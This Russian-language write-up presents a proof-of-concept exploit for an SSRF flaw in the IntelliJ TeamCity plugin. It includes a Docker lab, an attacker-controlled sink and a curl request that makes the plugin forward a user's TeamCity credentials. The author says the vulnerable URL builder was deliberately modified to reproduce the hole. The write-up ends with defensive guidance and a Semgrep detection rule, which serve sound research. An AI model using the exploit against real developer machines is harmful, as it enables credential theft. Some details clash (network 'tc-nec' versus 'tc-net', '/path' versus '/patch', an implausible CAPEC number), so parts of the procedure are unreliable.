
Эксплойт доказательства концепции для CVE-2020-35667, SSRF-уязвимости в плагине IntelliJ IDEA TeamCity, приводящей к утечке учетных данных через непроверенный параметр URL.
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ Показанное ниже уязвимое поведение было эмпирически проверено на декомпилированных, пропатченных артефактах, которые пытаются воспроизвести исходную уязвимость, выведенную эвристическим методом, поскольку оригинальный релиз уязвимого плагина больше недоступен. Репозиторий содержит zip-архив с минимально отредактированной сборкой (полученной из пропатченной версии), используемой для изолированного лабораторного воспроизведения.
Данный CVE касается плагина интеграции IntelliJ IDEA TeamCity, который обеспечивает интеграцию IDE с TeamCity — оркестратором CI/CD и хранилищем, сохраняющим конфигурации сборок и другие артефакты, доступные через REST/RPC API.
Плагин открывает локально несколько HTTP-эндпоинтов, которые в обычном сценарии вызываются компонентами, добавленными плагином в GUI. В наблюдаемой конфигурации этот локальный сервер не реализует никакого контроля доступа и фактически действует как промежуточное звено между IDE и сервером TeamCity.
Обработчик запросов на стороне плагина принимает контролируемый пользователем параметр в URL и использует его для формирования URL загрузки патча без достаточной проверки (CWE-918). Затем плагин выполняет HTTP GET к сформированному URL, передавая заголовки аутентификации вошедшего в систему пользователя с учетными данными TeamCity, поскольку TeamCity предоставляет REST/RPC API. Предполагается, что злоумышленник, способный получить доступ к хосту разработчика (например, через фишинг или XSS), может выполнить атаку SSRF (CAPEC-6634), вынудив плагин сделать запрос к управляемому злоумышленником хосту, который прослушивает эндпоинт, закодированный в параметре, контролируемом пользователем, что приводит к утечке учетных данных. Это создает контекст для, например, закрепления или бокового перемещения.
Connection.run() → Connection.doHandle()
извлекает URI запроса и параметры, разбор которых осуществляется в карте params (включая параметр file).ActivatorBase.handle(res, params, ...) — res == "/patch" вызывает handleLoadPatch(params).handleLoadPatch планирует работу и в итоге вызывает UrlUtil.createUrl(params, serverUrl) — это компонент, который я модифицировал, чтобы сделать его уязвимым: значение file вставляется в схему URL:адрес/путь без проверки, другие параметры добавляются.ActivatorBase.downloadPatch(patchUrl, username, password) создает HttpClient с UsernamePasswordCredentials и вызывает client.executeMethod(get), фактический сетевой запрос отправляется на patchUrl.Моя конфигурация: TeamCity 2020.2.1, IntelliJ IDEA Community 2018.1.8, хост: ARM64 Kali Linux 2025.3. Все контейнеры изолированы.
(необязательно) Создать изолированную docker-сеть
docker network create tc-nec
Скачать и запустить IntelliJ IDEA, создать временный проект любого типа. Загрузить расширение, предоставленное в виде zip-файла.
Собрать и запустить контейнер сервера TeamCity: соответствующие артефакты находятся в папке tc-server. Перейти к панели управления TeamCity и создать временное окружение TeamCity и пользователя.
docker build -t lab-teamcity ./pocartifacts/tc-server
docker run -d --name lab-teamcity \
--network tc-net \
-p 127.0.0.1:8111:8111 \
lab-teamcity
Собрать и запустить вредоносный HTTP-приемник: соответствующие артефакты находятся в папке http-listener.
docker build -t lab-sink ./pocartifacts/http-listener
docker run -d --name lab-sink \
--network tc-net \
-p 127.0.0.1:8000:8000 \
lab-sink
(необязательно) Включить ведение журнала плагина с уровнем детализации TRACE для детального анализа выполнения: интерфейс IDE → поиск настроек отладки → добавить строку #jetbrains.buildServer.activation → перезапустить IDE.
Подключиться к локальному серверу TeamCity: Настройки → Инструменты → TeamCity → Добавить сервер и указать http://127.0.0.1:8111 , войти под созданным пользователем.
Отправить следующий запрос
curl -Is http://localhost:63330/path?file=http://localhost:8000/&modId=&personal=false
Сервер-приемник зафиксировал запрос плагина
docker exec lab-sink "cat sink.log"
Прежде всего, я бы хотел предложить сместить безопасность влево в SDLC путём определения измеримых и реализуемых требований безопасности, используя OWASP ASVS как руководство, создав его форк и приняв только те требования, которые относятся к коду и соответствуют требованиям приложения. Специалисты по безопасности приложений должны сопоставить эти требования с конкретными компонентами кода или даже отдельными фрагментами. Разработчики должны быть обучены реализации этих требований безопасности: знать встроенные механизмы безопасности своего языка/фреймворка. Вместе они должны работать над матрицей, которая сопоставляет каждое требование с владельцем пакета, класса или функции и перечисляет соответствующие приёмочные проверки (модульные тесты, правила SAST). Это обеспечит соответствие кодовой базы форкнутому набору ASVS.
В конвейер доставки должны быть интегрированы несколько шлюзов проверки безопасности. От непосредственного рабочего места разработчика через плагин IDE и pre-commit хуки Git до полного сканирования CI-конвейера и DAST на основе фаззинга в специализированных средах (непрерывное развёртывание). При любой ошибке сборка/доставка должна завершаться неудачей. Полученные данные сканирования должны постоянно агрегироваться, проверяться для уточнения процесса и устранения ложных срабатываний/истинных отрицательных результатов.
Это пример правила Semgrep для обнаружения построения URL без очистки контролируемых пользователем параметров на Java с использованием HTTP-клиентской библиотеки, используемой в плагине.
rules:
- id: java-ssrf-url-from-params
patterns:
- pattern-either:
- pattern: |
$A = params.get($P)
...
$URLSTRING = $A + $REST
...
new URL($URLSTRING)
- pattern: |
$A = request.getParameter($P)
...
$URLSTRING = $PREFIX + $A + $SUFFIX
...
new URL($URLSTRING)
- pattern: new URL(params.get($P))
- pattern: new URL(request.getParameter($P))
- pattern-not: "// semgrep:skip"
message: |
Possible SSRF / unsafe URL construction: URL is built from request parameters without validation.
Validate/whitelist scheme and host; canonicalize path; do not forward credentials to untrusted hosts.
languages: [java]
severity: ERROR
metadata:
cwe: "CWE-918"
tags: ["security", "ssrf", "input-validation"]